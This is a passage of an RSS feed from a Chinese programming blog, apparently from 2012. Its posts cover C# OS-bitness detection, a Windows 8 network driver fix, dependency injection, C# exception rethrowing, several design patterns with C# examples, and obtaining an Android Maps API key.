sb.AppendLine(String.Format(&#34;ProcessorBits = {0}&#34;, OSVersionInfo.ProcessorBits));
sb.AppendLine(String.Format(&#34;OSBits = {0}&#34;, OSVersionInfo.OSBits));
sb.AppendLine(String.Format(&#34;ProgramBits = {0}&#34;, OSVersionInfo.ProgramBits));

textBox1.Text = sb.ToString();&lt;/pre&gt;
&lt;p&gt;对比一下坊间的几种不足：
总的来说。最大的问题就是不能正确检测你的操作系统到底是32位还是64位。几种方法大致如下：
1. 使用IntPtr指针的大小
最关键的一句代码是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;return IntPtr.Size * 8;&lt;/pre&gt;
&lt;p&gt;但是事实上，这个返回的不是操作系统的位数，返回的是运行的程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;2. 使用PROCESSOR_ARCHITECTURE 环境变量&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string pa = Environment.GetEnvironmentVariable(&#34;PROCESSOR_ARCHITECTURE&#34;);
return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0,
&#34;x86&#34;, 0, 3, true) == 0) ? 32 : 64);&lt;/pre&gt;
&lt;p&gt;这就是纯粹的误导了，因为和1的情况一样。不能返回处理器的位数而是返回了运行程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;3. 使用PInvoke 和 GetSystemInfo
注意：为了保持文章不要太长。。我没有包括PInvoke API的声明，（译者注：C#的互操作性嘛），但你可能在我提供的源代码里找到。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProcessorArchitecture pbits = ProcessorArchitecture.Unknown;
try
{
SYSTEM_INFO l_System_Info = new SYSTEM_INFO();
GetSystemInfo(ref l_System_Info);
switch (l_System_Info.uProcessorInfo.wProcessorArchitecture)
{
case 9: // PROCESSOR_ARCHITECTURE_AMD64
pbits = ProcessorArchitecture.Bit64;
break;
case 6: // PROCESSOR_ARCHITECTURE_IA64
pbits = ProcessorArchitecture.Itanium64;
break;
case 0: // PROCESSOR_ARCHITECTURE_INTEL
pbits = ProcessorArchitecture.Bit32;
break;
default: // PROCESSOR_ARCHITECTURE_UNKNOWN
pbits = ProcessorArchitecture.Unknown;
break;
}
}
catch
{
Ignore
}
return pbits;&lt;/pre&gt;
&lt;p&gt;老问题，还是会返回运行程序的位数，而不是操作系统/处理器的位数。
4. 使用PInvoke和GetNativeSystemInfo
我看到过有人说上面的都不可信。可以使用GetNativeSystemInfo代替，代码和上面一样，只是把GetSystemInfo换成GetNativeSystemInfo就好。&lt;/p&gt;</description>
    </item>
    <item>
      <title>解决win8无法上网的问题</title>
      <link>http://blog.leaver.me/2012/11/21/%E8%A7%A3%E5%86%B3win8%E6%97%A0%E6%B3%95%E4%B8%8A%E7%BD%91%E7%9A%84%E9%97%AE%E9%A2%98/</link>
      <pubDate>Wed, 21 Nov 2012 16:29:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/21/%E8%A7%A3%E5%86%B3win8%E6%97%A0%E6%B3%95%E4%B8%8A%E7%BD%91%E7%9A%84%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;昨天晚上@虎振兴同学装了win8.。结果悲剧了。症状为连接宽带可以连接上。上qq也正常。但是。只要打开网页。就会自动断网。再连接就会提示651错误了。网上大多说是驱动不兼容。但是解决的方法大部分是不对的。下面结合网上的给大家说一说。。&lt;/p&gt;
&lt;p&gt;网卡驱动目测是都是美满公司，也就是Marvell 的Yukon系列网卡驱动的问题。首先下载一个旧版本的驱动（&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=157758&amp;amp;uk=1493685990&#34;&gt;32位下载&lt;/a&gt;/&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=157761&amp;amp;uk=1493685990&#34;&gt;64位下载&lt;/a&gt;）
然后按下图操作，第一步是打开计算机-管理。。各种姿势只要打开了计算机管理就可以了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29531_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/64492d91b55bcb36bfca307f79e7085701e4d385.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
在这里稍微记一下这个名字。Marvell Yukon  88exxxxx  PCI-E Fast Ethernet..
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29542_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f62bc3bc8f6c801bb02b7ac3b5828cd8b8949409.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
找到网络适配器，右键更新驱动程序。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29532_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/de07155b61319d7d4bcd6850502b67cf08e010e7.jpg&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29534_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/31566293ba5a32fff3f1654f50247e65824c1def.jpg&#34; title=&#34;4&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29535_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b77e3594df179d35a82777375611b20549290884.jpg&#34; title=&#34;5&#34;&gt;&lt;/a&gt;
注意记下兼容的网卡。名字和第二步的差不多的那个，点击从磁盘安装，选择下载后驱动的解压的安装文件，如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29536_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/925d77e1da47d263c1e41785765b5af2b6152818.jpg&#34; title=&#34;6&#34;&gt;&lt;/a&gt;
到这一步以后，点击打开，可能会出现一个驱动列表。这是时候选择一个和兼容列表名字一样的。88e这部分不一样。如果找不到，也可以找类似的，比如途中给出的后两位是39.我装的是40也没问题。这个是驱动的历史版本。然后就可以了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29538_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/02f918179789c33bccb038983bae0125c0d0d988.jpg&#34; title=&#34;9&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最后。提醒各位童鞋。win8整体还是很不错的。不过呢。对于我来说。metro界面和正常的界面的傻傻分不清楚的模式。令我很是蛋疼。。所以暂时没有考虑换到win8.。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>依赖倒置原则和依赖注入模式</title>
      <link>http://blog.leaver.me/2012/11/21/%E4%BE%9D%E8%B5%96%E5%80%92%E7%BD%AE%E5%8E%9F%E5%88%99%E5%92%8C%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Wed, 21 Nov 2012 13:46:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/21/%E4%BE%9D%E8%B5%96%E5%80%92%E7%BD%AE%E5%8E%9F%E5%88%99%E5%92%8C%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;昨天读完了程杰的《大话设计模式》。。收获颇丰。深刻感到了设计模式的伟大。。对面向接口的编程也理解了不少。刚好看到codeproject上一篇将依赖倒置的。讲到了依赖注入的方式。仔细读了一下。翻译一遍加深认识。&lt;/p&gt;
&lt;p&gt;高耦合的代码随着项目复杂性的不断增加，最终会变成一碗碗的意大利面条啦。。二者通常是软件设计上的问题，如果一个类对另一个类的实现了解太多。当该类改变的时候会引起更多的改变。这违反了依赖倒置原则&lt;/p&gt;
&lt;p&gt;而松耦合的代码设计优良。随着时间流逝，代码复杂两增大，松耦合的好处会变得更加清晰，依赖注入模式是实现松耦合的一个好的办法，本文介绍在没有依赖注入容器的情况下实现依赖注入&lt;/p&gt;
&lt;p&gt;GoF说了，依赖倒置的原则：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;高层模块不应依赖于低层模块，他们都应该依赖于抽象
抽象不依赖细节，细节依赖抽象&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;刚开始写依赖倒置比较难，随着经验增长会有所改善，通过使高层模块依赖于抽象，依赖倒置成功解耦，依赖注入模式是该原则的一个实现。&lt;/p&gt;
&lt;p&gt;通常我们写出如下的代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Email
{
    public void SendEmail()
    {
        // code
    }
}

public class Notification
{
    private Email _email;
    public Notification()
    {
        _email = new Email();
    }

    public void PromotionalNotification()
    {
        _email.SendEmail();
    }
}
&lt;/pre&gt; 
&lt;p&gt;Notification类依赖Email类，这违反了DIP，而且当我们要发送短信/保存到数据库的时候，我们还要改变Notification类。
我们使用抽象类/接口解耦&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public interface IMessageService
{
    void SendMessage();
}
public class Email : IMessageService
{
    public void SendMessage()
    {
        // code
    }
}
public class Notification
{
    private IMessageService _iMessageService;

    public Notification()
    {
        _iMessageService = new Email();
    }
    public void PromotionalNotification()
    {
        _iMessageService.SendMessage();
    }
}
&lt;/pre&gt; 
&lt;p&gt;IMessageService 是一个接口，而Notification 类只要调用接口的方法/属性就可以了
同时，我们把Email对象的构造移到Notification 类外面去。&lt;/p&gt;
&lt;p&gt;依赖注入模式可以实现。通常有三种方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造器注入&lt;/li&gt;
&lt;li&gt;属性注入&lt;/li&gt;
&lt;li&gt;方法注入&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;构造器注入&lt;/strong&gt;
最普遍的方式，当一个类需要另一个类的依赖的时候，我们通过构造函数来提供，现在我们这样写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Notification
{
    private IMessageService _iMessageService;

    public Notification(IMessageService _messageService)
    {
        this._iMessageService = _messageService;
    }
    public void PromotionalNotification()
    {
        _iMessageService.SendMessage();
    }
}&lt;/pre&gt; 
&lt;p&gt;有几个好处：1.构造函数实现很简单，Notification类需要知道的很少。想要创建Notification实例的时候看构造函数就可以知道需要什么信息了。因此实现了松耦合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;属性注入/setter注入比较不常见，当依赖可有可无的时候很有用。我们暴露一个可写的属性，允许客户提供不同的依赖实现，比如这样。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Notification
{
    public IMessageService MessageService
    {
        get;
        set;
    }
    public void PromotionalNotification()
    {

        if (MessageService == null)
        {
            // some error message
        }
        else
        {
            MessageService.SendMessage();

        }
    }
}&lt;/pre&gt; 
&lt;p&gt;没有了构造函数。而用属性来替换，在PromotionalNotifications 方法里我们需要检查MessageService的值或者提供相应的服务。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的throw</title>
      <link>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</link>
      <pubDate>Sun, 18 Nov 2012 12:33:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</guid>
      <description>&lt;p&gt;Throw会抛出/传递异常,通过在catch块里使用throw语句.可以改变产生的异常,比如我们可以抛出一个新的异常,throw语句有各种各样的,并且很有必要.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例子&lt;/strong&gt;
我们首先看一下三个方法,分别叫做A,B,C，他们使用不同的throw语句。方法A使用了无参的throw语句。这可以被看作是rethrow(继续抛出)—他会抛出已经出现的同样的异常&lt;/p&gt;
&lt;p&gt;继续，方法B throw一个命名的异常变量。这就不是一个完全的rethrow了—因为他虽然抛出了同样的异常。但是改变了StackTrace（堆栈轨迹），如果有必要的话，我们可以收集一些异常信息，而方法C则创建了一个新的异常。
提示:你可以通过这种方法实现自定义的的错误处理
使用throw语句的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
class Program
{
    static void Main()
    {
	try
	{
	    A();
	    B();
	    C(null);
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex);
	}
    }

    static void A()
    {
	// Rethrow 语法.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch
	{
	    throw;
	}
    }

    static void B()
    {
	// 过滤异常类型.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch (DivideByZeroException ex)
	{
	    throw ex;
	}
    }

    static void C(string value)
    {
	// 创建新的异常.
	if (value == null)
	{
	    throw new ArgumentNullException(&#34;value&#34;);
	}
    }
}&lt;/pre&gt;
&lt;p&gt;程序可能的输出结果&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.DivideByZeroException: Attempted to divide by zero.
System.DivideByZeroException: Attempted to divide by zero.
System.ArgumentNullException: Value cannot be null.
Parameter name: value&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Rethrow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着我们看更多的关于rethrows的细节。Rethrow必须是一个无参的throw语句。如果使用throw ex，那么TargetSie(TargetSite 从堆栈跟踪中获取抛出该异常的方法。如果堆栈跟踪为空引用，TargetSite 也返回空引用。-译者注)和StackTrace都被改变了。&lt;/p&gt;
&lt;p&gt;在下面的程序里，X()方法使用了rethrow语句。Y()使用了throw ex语句。我们可以看看当rethrow语句使用的使用，引发异常的方法，也就是异常的TargetSite是在StringToNumber&amp;mdash;一个int.Parse内部的方法。&lt;/p&gt;
&lt;p&gt;但是：当throw ex用的时候。就像在Y()里面，这个异常的TargetSite被修改到了当前的Y()方法里。
测试rethrow的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;

class Program
{
    static void Main()
    {
	try
	{
	    X();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}

	try
	{
	    Y();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}
    }

    static void X()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception)
	{
	    throw; // [Rethrow 构造]
	}
    }

    static void Y()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception ex)
	{
	    throw ex; // [Throw 捕获的ex变量]
	}
    }
}&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现模板模式</title>
      <link>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Thu, 25 Oct 2012 22:04:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文实现模板模式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
有时候我们需要做很多任务，而做这些任务的算法可能不同，这样可以设计成策略模式，这样。执行该任务的基本的一些代码就是一样的。但程序可可以动态的切换来执行任务的不同部分了。&lt;/p&gt;
&lt;p&gt;现在，真实的情况是有些算法，从实现层面山看，有可能有一些步骤是不一样的，这种情况下。我们可以使用继承来完成。&lt;/p&gt;
&lt;p&gt;当有个算法，而这个算法的一部分却多样的时候。使用模板模式就很好。GoF定义模板模式为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. Template Method lets subclasses redefine certain steps of an algorithm without changing the algorithm&amp;rsquo;s structure.&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。模板模式使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28596_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/013b89f26820a073c2044e0aa42a4d54a089e0b8.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
在上面的类图中：
AbstractClass：包含两种方法。第一种就是算法的每一步。另一种就是模板方法。模板方法就是那些可以被用在所有独立方法中。并且提供了算法执行的一个骨架
ConcreteClass：这个类重写了抽象类中每一步的方法，包含对这些步骤的个性化实现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
看一个简单的例子。假想我们有一个类用来读取数据。并且能够为信息管理系统到处数据。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;abstract class DataExporter
{
    // 这个方法都是一致的
    public void ReadData()
    {
        Console.WriteLine(&#34;Reading the data from SqlServer&#34;);
    }

    // 当报表格式顶的时候这个也是定的。
    public void FormatData()
    {
        Console.WriteLine(&#34;Formating the data as per requriements.&#34;);
    }

    // 目标文件类型的不同导致该方法不同
    public abstract void ExportData();        

    // 这是客户端可能使用的模板方法
    public void ExportFormatedData()
    {
        this.ReadData();
        this.FormatData();
        this.ExportData();
    }
}&lt;/pre&gt; 
&lt;p&gt;ReadData和FormatData 的实现不会变。唯一可变的部分就是ExportData方法。该方法对于不同的导出类型不同。如果我们要导出excel文件。我们要实现一个ConcreteClass的实现。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class ExcelExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to an Excel file.&#34;);
    }
}&lt;/pre&gt; 
&lt;p&gt;同样如果要导出PDF文件。重写这部分即可&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class PDFExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to a PDF file.&#34;);
    }
}
&lt;/pre&gt; 
&lt;p&gt;好处就是客户端可以使用DataExporter类，而具体的实现是在派生类中的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;static void Main(string[] args)
{
    DataExporter exporter = null;

    //导出 Excel文件
    exporter = new ExcelExporter();
    exporter.ExportFormatedData();

    Console.WriteLine();

    // 导出 PDF 文件
    exporter = new PDFExporter();
    exporter.ExportFormatedData();
}
&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28597_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1bf614457e0728646a9997af084aa990ef0ea3cb.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
运行时。对算法的调用将会执行真正请求的派生类的方法。
看一下我们的类图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28598_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1653c7412c7218518495704e23ebaf2ccdd66712.jpg&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现外观设计模式</title>
      <link>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Tue, 23 Oct 2012 18:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文介绍外观模式,并给出简单的实现示例&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;写软件的时候,有时候需要处理一系列的对象来完成一个确定的任务.比如,我们给一个万能遥控器写代码,我们需要关掉所有的设备,那么,我们有这样几种选择.第一个就是手动选择每一个设备,然后一个接一个的关闭,这好傻.那我们为什么不再遥控器上放一个按钮,我们按一下就关掉了.按钮的命令会与设备控制器通信然后关掉他们.&lt;/p&gt;
&lt;p&gt;如果我们又想在晚上12的时候自动关闭设备,那么我们就会有一个基于事件的计时器,与设备通信,然后关闭设备,问题是在两种情况下我们都需要与这些对象通信的函数.&lt;/p&gt;
&lt;p&gt;有很多方法解决这个问题,为什么不能有一个对象,该对象的责任就是关闭设备,当我要关闭设备的时候,我调用该对象就行了.这也是外观模式的理念Gof大神定义外观模式
&amp;ldquo;Provide a unified interface to a set of interfaces in a subsystem. Façade defines a higher-level interface that makes the subsystem easier to use.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;为子系统中的一组接口提供一个一致的界面，外观模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。&lt;/p&gt;
&lt;p&gt;看看模式图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28434_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4699477e818474c6be3dfc63a211c68e6a64c67c.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意外观对象仅仅是提供了对函数一起操作,.不能替换子系统的接口.子系统的类仍然可以被系统的其他部分访问.外观为子系统提供了一致的界面.&lt;/p&gt;
&lt;p&gt;使用代码
为了模拟外观模式,我们模拟一个小例子.试着实现一个简单的外观对象,该外观对象操作一些WP手机的控制器对象,我们先定义问题&lt;/p&gt;
&lt;p&gt;每天早上我跑步的时候,我都得对我的手机做出以下的事情..
1. 关闭wifi
2. 切换到移动网络
3. 打开GPS
4. 打开音乐
5. 开始跑步追踪器&lt;/p&gt;
&lt;p&gt;跑完以后.,我又蛋疼的做出以下几件事
1. 在twitter和facebook上分享我的跑步数据
2. 关闭跑步追踪器
3. 关闭音乐
4. 关闭GPS
5. 关闭移动数据
6. 打开wifi&lt;/p&gt;
&lt;p&gt;目前我都是手工做的.,我们来实现这些假想的控制器类吧.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class GPSController
{
    bool isSwitchedOn = false;

    public bool IsSwitchedOn
    {
        get
        {
            return isSwitchedOn;
        }
        set
        {
            isSwitchedOn = value;
            DisplayStatus();
        }
    }

    private void DisplayStatus()
    {
        string status = (isSwitchedOn == true) ? &#34;ON&#34; : &#34;OFF&#34;;
        Console.WriteLine(&#34;GPS Switched {0}&#34;, status);
    }
}&lt;/pre&gt;
&lt;p&gt;其他的像MobileDataController, MusicController, WifiController 代码都是基本的一样的.&lt;/p&gt;
&lt;p&gt;然后模拟一下跑步追踪器这个app&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class SportsTrackerApp
{
    public void Start()
    {
        Console.WriteLine(&#34;Sports Tracker App STARTED&#34;);
    }

    public void Stop()
    {
        Console.WriteLine(&#34;Sports Tracker App STOPPED&#34;);
    }

    public void Share()
    {
        Console.WriteLine(&#34;Sports Tracker: Stats shared on twitter and facebook.&#34;);
    }
}&lt;/pre&gt;
&lt;p&gt;下面模拟一下我的手工过程&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现装饰器模式</title>
      <link>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 22 Oct 2012 11:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
本文讨论装饰器模式,这个模式是因为很多情况下需要动态的给对象添加功能.比如我们创建了一个Stream类.后来需要对这个数据流类动态的添加一个加密功能.有人可能说把加密方法写到流类里面啊.然后使用一个bool变量来控制开关就行了.但是这样.这个加密方法只能写一种..如果用派生类来实现.那么..对于不同的加密方法.,都要创建一个子类,举个例子.比如有时候是一些函数的组合.我们最终的派生类的数目基本上就和排列组合的数目一样了.&lt;/p&gt;
&lt;p&gt;我们使用装饰器模式来解决这个问题.GoF描述为
&amp;ldquo;Attach additional responsibilities to an object dynamically. Decorators provide a flexible alternative to subclassing for extending functionality.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;首先看一下图.理解一下这个模式中每一个类的作用&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28377_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7858234df16590f30fcdf85a0a8791d33d076e2d.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
•	Component:定义了可以动态添加功能的具体类ConcreteComponents的接口.
•	ConcreteComponent: 可以动态添加功能的具体类
•	Decorator: 定义了动态添加到ConcreteComponent类中的功能的接口
•	ConcreteDecorator: 可以添加到 ConcreteComponent.中的具体功能类.&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;我们开一个面包店的例子.面包店卖蛋糕和甜点.客户可以买蛋糕和甜点,同时添加一些额外的东西.额外的东西包括奶油(Cream),樱桃(Cherry),香料(Scent)和会员(Name Card)&lt;/p&gt;
&lt;p&gt;如果我们用派生类来实现..那么我们会有如下的类
•	CakeOnly
•	CakeWithCreamAndCherry
•	CakeWithCreamAndCherryAndScent
•	CakeWithCreamAndCherryAndScentAndNameCard
•	CakeWithCherryOnly
•	PastryOnly
•	PastryWithCreamAndCherry
•	PastryWithCreamAndCherryAndScent
•	PastryWithCreamAndCherryAndScentAndNameCard
•	PastryWithCherryOnly
•	等等等等&lt;/p&gt;
&lt;p&gt;这简直就是噩梦..我们用装饰器模式来实现把.
首先定义Component 接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public abstract class BakeryComponent
{
    public abstract string GetName();
    public abstract double GetPrice();
}
&lt;/pre&gt; 
&lt;p&gt;前面说过了.这个类定义了能够动态添加功能的具体类(ConcreteComponents)的接口,好吧.然后来创建具体类ConcreteComponents&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class CakeBase : BakeryComponent
{
    // 真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Cake Base&#34;;
    private double m_Price = 200.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}

class PastryBase : BakeryComponent
{
    //真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Pastry Base&#34;;
    private double m_Price = 20.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}&lt;/pre&gt; 
&lt;p&gt;现在基对象准备好了.看看那些可以被动态添加的功能.我们看看Decorator  类&lt;/p&gt;</description>
    </item>
    <item>
      <title>Android开发获取Map API Key</title>
      <link>http://blog.leaver.me/2012/10/21/android%E5%BC%80%E5%8F%91%E8%8E%B7%E5%8F%96map-api-key/</link>
      <pubDate>Sun, 21 Oct 2012 11:01:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/21/android%E5%BC%80%E5%8F%91%E8%8E%B7%E5%8F%96map-api-key/</guid>
      <description>&lt;p&gt;地图应用使用com.google.android.maps这个包。通过MapView控件使用。但是之前需要申请一个用于开发的API Key，这个key会和当前的计算机用户绑定。然后通过这个key去官方申请就可以拿到一个开发用的api key了
&amp;lt;1&amp;gt;首先找到用户的debug.keystore文件，可以再”运行“里面搜debug.keystore；如：c:\users\Administrator.android\debug.keystore&lt;/p&gt;
&lt;p&gt;&amp;lt;2&amp;gt;接下来获取MD5指纹，网上很多说的有误。貌似新版默认是出现sha1加密的。通过添加-v 参数会显示所有。&lt;/p&gt;
&lt;p&gt;首先运行cmd,在dos界面里，输入&lt;/p&gt;
&lt;pre class=&#34;lang:apache decode:true crayon-selected&#34;&gt;keytool -list -v -keystore c:\users\Bystander\.android\debug.keystore&lt;/pre&gt;
&lt;p&gt;命令，然后会让你输入keystore密码，&lt;/p&gt;
&lt;p&gt;输入：android，之后，会出现指纹认证MD5，如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28249_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/81f1a9c78815b22e8b390275737d4d1c74212447.jpg&#34; title=&#34;md5&#34;&gt;&lt;/a&gt;
&amp;lt;3&amp;gt;去官方生成真正的api key
访问 &lt;a href=&#34;https://developers.google.com/android/maps-api-signup?hl=zh-CN&#34;&gt;Sign Up for the Android Maps API&lt;/a&gt; 输入那串值，同意条款，确定后要求用Google帐号登录。然后会拿到一个key。ok&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于爱情和爱情的附加值</title>
      <link>http://blog.leaver.me/2012/10/20/%E5%85%B3%E4%BA%8E%E7%88%B1%E6%83%85%E5%92%8C%E7%88%B1%E6%83%85%E7%9A%84%E9%99%84%E5%8A%A0%E5%80%BC/</link>
      <pubDate>Sat, 20 Oct 2012 14:44:32 +0000</pubDate>
